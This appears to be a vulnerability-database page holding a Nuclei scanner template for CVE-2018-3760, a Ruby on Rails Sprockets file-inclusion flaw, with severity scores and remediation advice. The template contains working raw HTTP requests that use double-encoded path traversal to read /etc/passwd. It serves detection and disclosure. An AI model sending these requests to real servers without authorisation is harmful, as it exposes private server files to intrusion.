Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2018-3760
HistoryApr 05, 2020 - 6:01 p.m.

Ruby On Rails - Local File Inclusion

2020-04-0518:01:09
ProjectDiscovery
github.com
5

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

7.2 High

AI Score

Confidence

High

0.023 Low

EPSS

Percentile

89.7%

Ruby On Rails is vulnerable to local file inclusion caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use %252e%252e/ to access the root directory and read or execute any file on the target server.
id: CVE-2018-3760

info:
  name: Ruby On Rails - Local File Inclusion
  author: 0xrudra,pikpikcu
  severity: high
  description: |
    Ruby On Rails is vulnerable to local file inclusion caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use %252e%252e/ to access the root directory and read or execute any file on the target server.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive files and information stored on the server.
  remediation: |
    Apply the latest security patches and updates for Ruby On Rails framework to fix the Local File Inclusion vulnerability.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/rails/CVE-2018-3760
    - https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
    - https://seclists.org/oss-sec/2018/q2/210
    - https://xz.aliyun.com/t/2542
    - https://nvd.nist.gov/vuln/detail/CVE-2018-3760
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-3760
    cwe-id: CWE-200,CWE-22
    epss-score: 0.02274
    epss-percentile: 0.88524
    cpe: cpe:2.3:a:redhat:cloudforms:4.5:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: redhat
    product: cloudforms
  tags: cve2018,cve,rails,lfi,ruby,vulhub,seclists,redhat

http:
  - raw:
      - |
        GET /assets/file:%2f%2f/etc/passwd HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /assets/file:%2f%2f{{path}}/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: path
        regex:
          - "/etc/passwd is no longer under a load path: (.*?),"
        internal: true
        part: body
# digest: 4a0a0047304502205b020e637ea7a6a657e04ad2e613fb24624fcd2caae284ec772016d42d185ac0022100abd6db2bea2f78d0c95f28bfd39c2677a5fffb353dbb0d2fed00a3846f05fa0e:922c64590222798bb761d5b6d8e72950

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

7.2 High

AI Score

Confidence

High

0.023 Low

EPSS

Percentile

89.7%